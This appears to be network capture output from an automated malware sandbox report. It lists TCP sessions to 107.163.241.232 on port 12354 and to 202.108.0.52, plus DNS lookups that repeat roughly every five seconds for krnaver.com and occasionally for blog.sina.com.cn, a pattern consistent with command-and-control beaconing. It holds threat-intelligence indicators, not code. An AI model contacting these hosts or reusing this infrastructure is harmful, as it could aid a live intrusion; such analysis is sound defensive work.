Dec 11, 2024 16:28:26.969093084 CET	64990	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.059534073 CET	12354	64711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.062978029 CET	12354	64868	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.063030005 CET	64868	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.063303947 CET	64868	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.079539061 CET	65101	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.081310034 CET	12354	64711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.083686113 CET	12354	64868	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.089359999 CET	12354	64990	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.089417934 CET	64990	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.091109037 CET	64990	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.184281111 CET	12354	64868	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.185935020 CET	12354	64868	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.199187994 CET	12354	65101	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.199259043 CET	65101	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.199979067 CET	65101	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.209191084 CET	12354	64990	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.209280968 CET	64990	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.209484100 CET	64990	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.209939957 CET	65168	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.211383104 CET	12354	64990	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.318865061 CET	12354	65101	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.318917990 CET	65101	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.319267035 CET	65101	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.319354057 CET	12354	65101	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.326160908 CET	65253	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.328705072 CET	12354	64990	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.329076052 CET	12354	64990	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.330997944 CET	12354	65168	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.331090927 CET	65168	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.331526041 CET	65168	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.438250065 CET	12354	65101	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.439142942 CET	12354	65101	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.445904970 CET	12354	65253	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.446002960 CET	65253	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.452903986 CET	12354	65168	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.459791899 CET	65253	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.579087973 CET	12354	65253	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.579099894 CET	12354	65253	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.579142094 CET	65253	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.579855919 CET	65253	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.580564976 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.701267958 CET	12354	65253	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.702596903 CET	12354	65253	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.702605963 CET	12354	65425	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.702711105 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.703543901 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.816637993 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.816744089 CET	63911	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:27.816773891 CET	65168	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.822448969 CET	12354	65425	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.822490931 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.823215961 CET	12354	65425	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.836549044 CET	65528	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:27.955966949 CET	12354	65528	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:27.956043005 CET	65528	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:28.001575947 CET	65528	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:28.122602940 CET	12354	65528	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:28.149401903 CET	65533	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:28.149605989 CET	62273	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:28.149908066 CET	65534	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:28.268951893 CET	12354	65533	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:28.269412041 CET	80	62273	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:28.269423962 CET	80	65534	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:28.269543886 CET	62273	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:28.269563913 CET	65533	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:28.273351908 CET	65534	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:28.408266068 CET	80	65534	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:28.412322044 CET	65534	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:28.508908987 CET	65533	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:28.509092093 CET	65534	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:28.509370089 CET	65534	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:28.628777027 CET	12354	65533	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:28.628793001 CET	80	65534	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:28.629087925 CET	80	65534	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:29.128537893 CET	49155	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:29.247875929 CET	80	49155	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:29.247973919 CET	49155	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:29.274281979 CET	49155	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:29.368297100 CET	80	49155	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:29.368374109 CET	49155	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:29.393870115 CET	80	49155	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:29.408812046 CET	49155	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:29.565054893 CET	49159	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:29.614195108 CET	80	49155	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:29.614770889 CET	80	49155	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:29.687099934 CET	80	49159	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:29.687179089 CET	49159	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:29.706566095 CET	49159	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:29.827297926 CET	80	49159	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:30.066242933 CET	12354	65528	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.066400051 CET	65528	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.101090908 CET	65528	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.101533890 CET	49186	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.220515013 CET	12354	65528	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.220835924 CET	12354	49186	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.221043110 CET	49186	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.241673946 CET	49186	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.361246109 CET	12354	49186	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.404557943 CET	12354	65533	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.404747963 CET	65533	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.409928083 CET	65533	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.410784960 CET	49188	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.529211044 CET	12354	65533	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.530057907 CET	12354	49188	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.530157089 CET	49188	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.562314034 CET	49188	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.649734020 CET	12354	49188	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.649808884 CET	49188	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.680437088 CET	49188	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.681449890 CET	49191	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.681734085 CET	12354	49188	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.769154072 CET	12354	49188	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.799628973 CET	12354	49188	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.801213980 CET	12354	49191	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.801276922 CET	49191	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.802567005 CET	49191	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.921232939 CET	12354	49191	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:30.921313047 CET	49191	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.921678066 CET	49191	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.922061920 CET	49353	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:30.922118902 CET	12354	49191	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:31.040621042 CET	12354	49191	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:31.040859938 CET	12354	49191	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:31.041480064 CET	12354	49353	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:31.041538000 CET	49353	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:31.042021990 CET	49353	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:31.162334919 CET	12354	49353	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:31.162394047 CET	49353	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:31.162642956 CET	12354	49353	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:31.281829119 CET	12354	49353	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:31.283951044 CET	80	49159	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:31.284012079 CET	49159	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:32.331649065 CET	12354	49186	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:32.331815958 CET	49186	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:32.368839025 CET	49186	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:32.488276958 CET	12354	49186	107.163.241.232	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 16:24:30.774204969 CET	54295	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:24:30.911444902 CET	53	54295	1.1.1.1	192.168.2.4
Dec 11, 2024 16:24:35.091752052 CET	61702	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:24:35.229712963 CET	53	61702	1.1.1.1	192.168.2.4
Dec 11, 2024 16:24:37.529467106 CET	54791	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:24:37.668656111 CET	53	54791	1.1.1.1	192.168.2.4
Dec 11, 2024 16:24:40.168365002 CET	58438	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:24:40.304883957 CET	53	58438	1.1.1.1	192.168.2.4
Dec 11, 2024 16:24:45.619990110 CET	56383	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:24:45.756824970 CET	53	56383	1.1.1.1	192.168.2.4
Dec 11, 2024 16:24:50.105223894 CET	52783	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:24:50.242305040 CET	53	52783	1.1.1.1	192.168.2.4
Dec 11, 2024 16:24:55.091144085 CET	65229	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:24:55.231453896 CET	53	65229	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:00.120704889 CET	50515	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:00.259026051 CET	53	50515	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:05.152249098 CET	63606	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:05.314920902 CET	53	63606	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:10.192047119 CET	57705	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:10.331470966 CET	53	57705	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:15.104394913 CET	52036	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:15.242300034 CET	53	52036	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:20.135457993 CET	58547	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:20.274451971 CET	53	58547	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:25.119688034 CET	62671	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:25.257247925 CET	53	62671	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:30.166443110 CET	49397	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:30.303757906 CET	53	49397	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:35.120079041 CET	58692	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:35.257730961 CET	53	58692	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:40.210174084 CET	61372	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:40.351072073 CET	53	61372	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:45.103955030 CET	56233	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:45.244546890 CET	53	56233	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:50.088627100 CET	53993	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:50.228055000 CET	53	53993	1.1.1.1	192.168.2.4
Dec 11, 2024 16:25:55.088614941 CET	61216	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:25:55.226305962 CET	53	61216	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:00.088588953 CET	56283	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:00.225617886 CET	53	56283	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:05.088643074 CET	65370	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:05.226759911 CET	53	65370	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:10.089994907 CET	60663	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:10.227189064 CET	53	60663	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:15.092192888 CET	61692	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:15.232213020 CET	53	61692	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:20.087965012 CET	53346	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:20.226773977 CET	53	53346	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:25.089855909 CET	64225	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:25.230489969 CET	53	64225	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:30.088426113 CET	49757	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:30.227356911 CET	53	49757	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:35.278353930 CET	63009	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:35.415812969 CET	53	63009	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:40.088145018 CET	58148	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:40.226210117 CET	53	58148	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:45.130080938 CET	56676	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:45.267359972 CET	53	56676	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:49.626477957 CET	57037	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:50.088113070 CET	52996	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:50.224890947 CET	53	52996	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:50.331423044 CET	53	57037	1.1.1.1	192.168.2.4
Dec 11, 2024 16:26:55.088515043 CET	55221	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:26:55.227691889 CET	53	55221	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:00.087887049 CET	53060	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:00.224967003 CET	53	53060	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:05.092292070 CET	50085	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:05.229182959 CET	53	50085	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:10.095103025 CET	56531	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:10.234644890 CET	53	56531	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:15.092111111 CET	56628	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:15.228859901 CET	53	56628	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:20.087919950 CET	54590	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:20.225327969 CET	53	54590	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:25.115286112 CET	54191	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:25.258860111 CET	53	54191	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:30.088248014 CET	52208	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:30.227421045 CET	53	52208	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:35.286341906 CET	56168	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:35.424673080 CET	53	56168	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:40.314431906 CET	54346	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:40.483278990 CET	53	54346	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:45.092597008 CET	55130	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:45.229643106 CET	53	55130	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:50.157186031 CET	60268	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:50.293767929 CET	53	60268	1.1.1.1	192.168.2.4
Dec 11, 2024 16:27:55.098858118 CET	62322	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:27:55.236649036 CET	53	62322	1.1.1.1	192.168.2.4
Dec 11, 2024 16:28:00.099330902 CET	53457	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:28:00.239818096 CET	53	53457	1.1.1.1	192.168.2.4
Dec 11, 2024 16:28:05.088124990 CET	56710	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:28:05.224874973 CET	53	56710	1.1.1.1	192.168.2.4
Dec 11, 2024 16:28:10.107696056 CET	56510	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:28:10.244606972 CET	53	56510	1.1.1.1	192.168.2.4
Dec 11, 2024 16:28:10.259996891 CET	56510	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:28:10.398324966 CET	53	56510	1.1.1.1	192.168.2.4
Dec 11, 2024 16:28:15.093828917 CET	53315	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:28:15.235644102 CET	53	53315	1.1.1.1	192.168.2.4
Dec 11, 2024 16:28:20.088032007 CET	50823	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:28:20.225198030 CET	53	50823	1.1.1.1	192.168.2.4
Dec 11, 2024 16:28:25.091897011 CET	64396	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:28:25.231486082 CET	53	64396	1.1.1.1	192.168.2.4
Dec 11, 2024 16:28:30.196170092 CET	56419	53	192.168.2.4	1.1.1.1
Dec 11, 2024 16:28:30.332972050 CET	53	56419	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 16:24:30.774204969 CET	192.168.2.4	1.1.1.1	0x66f8	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:35.091752052 CET	192.168.2.4	1.1.1.1	0x8412	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:37.529467106 CET	192.168.2.4	1.1.1.1	0xcdc0	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:40.168365002 CET	192.168.2.4	1.1.1.1	0x9e73	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:45.619990110 CET	192.168.2.4	1.1.1.1	0xc194	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:50.105223894 CET	192.168.2.4	1.1.1.1	0xd2d1	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:24:55.091144085 CET	192.168.2.4	1.1.1.1	0x357d	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:00.120704889 CET	192.168.2.4	1.1.1.1	0x87ed	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:05.152249098 CET	192.168.2.4	1.1.1.1	0xe022	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:10.192047119 CET	192.168.2.4	1.1.1.1	0xacbd	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:15.104394913 CET	192.168.2.4	1.1.1.1	0x7d59	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:20.135457993 CET	192.168.2.4	1.1.1.1	0xf85e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:25.119688034 CET	192.168.2.4	1.1.1.1	0x5e53	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:30.166443110 CET	192.168.2.4	1.1.1.1	0xf990	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:35.120079041 CET	192.168.2.4	1.1.1.1	0x3c47	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:40.210174084 CET	192.168.2.4	1.1.1.1	0x7fbb	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:45.103955030 CET	192.168.2.4	1.1.1.1	0x3eac	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:50.088627100 CET	192.168.2.4	1.1.1.1	0x8965	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:25:55.088614941 CET	192.168.2.4	1.1.1.1	0x19ab	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:00.088588953 CET	192.168.2.4	1.1.1.1	0x4601	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:05.088643074 CET	192.168.2.4	1.1.1.1	0xfa84	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:10.089994907 CET	192.168.2.4	1.1.1.1	0xfb70	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:15.092192888 CET	192.168.2.4	1.1.1.1	0x682a	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:20.087965012 CET	192.168.2.4	1.1.1.1	0xfc11	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:25.089855909 CET	192.168.2.4	1.1.1.1	0x956a	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:30.088426113 CET	192.168.2.4	1.1.1.1	0xbd4b	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:35.278353930 CET	192.168.2.4	1.1.1.1	0x461c	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:40.088145018 CET	192.168.2.4	1.1.1.1	0x5d58	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:45.130080938 CET	192.168.2.4	1.1.1.1	0x9997	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:49.626477957 CET	192.168.2.4	1.1.1.1	0x4484	Standard query (0)	blog.sina.com.cn	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:50.088113070 CET	192.168.2.4	1.1.1.1	0x5941	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:55.088515043 CET	192.168.2.4	1.1.1.1	0x96e8	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:00.087887049 CET	192.168.2.4	1.1.1.1	0x409c	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:05.092292070 CET	192.168.2.4	1.1.1.1	0x1926	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:10.095103025 CET	192.168.2.4	1.1.1.1	0x240	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:15.092111111 CET	192.168.2.4	1.1.1.1	0x3bb6	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:20.087919950 CET	192.168.2.4	1.1.1.1	0xb6ca	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:25.115286112 CET	192.168.2.4	1.1.1.1	0xbbb2	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:30.088248014 CET	192.168.2.4	1.1.1.1	0xa87f	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:35.286341906 CET	192.168.2.4	1.1.1.1	0xf3bd	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:40.314431906 CET	192.168.2.4	1.1.1.1	0x52c4	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:45.092597008 CET	192.168.2.4	1.1.1.1	0x6ac1	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:50.157186031 CET	192.168.2.4	1.1.1.1	0xfbd1	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:27:55.098858118 CET	192.168.2.4	1.1.1.1	0x9043	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:00.099330902 CET	192.168.2.4	1.1.1.1	0x46e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:05.088124990 CET	192.168.2.4	1.1.1.1	0xab2e	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:10.107696056 CET	192.168.2.4	1.1.1.1	0xd719	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:10.259996891 CET	192.168.2.4	1.1.1.1	0xd719	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:15.093828917 CET	192.168.2.4	1.1.1.1	0x2aed	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:20.088032007 CET	192.168.2.4	1.1.1.1	0xee39	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:25.091897011 CET	192.168.2.4	1.1.1.1	0x3b78	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:28:30.196170092 CET	192.168.2.4	1.1.1.1	0xb6d	Standard query (0)	krnaver.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
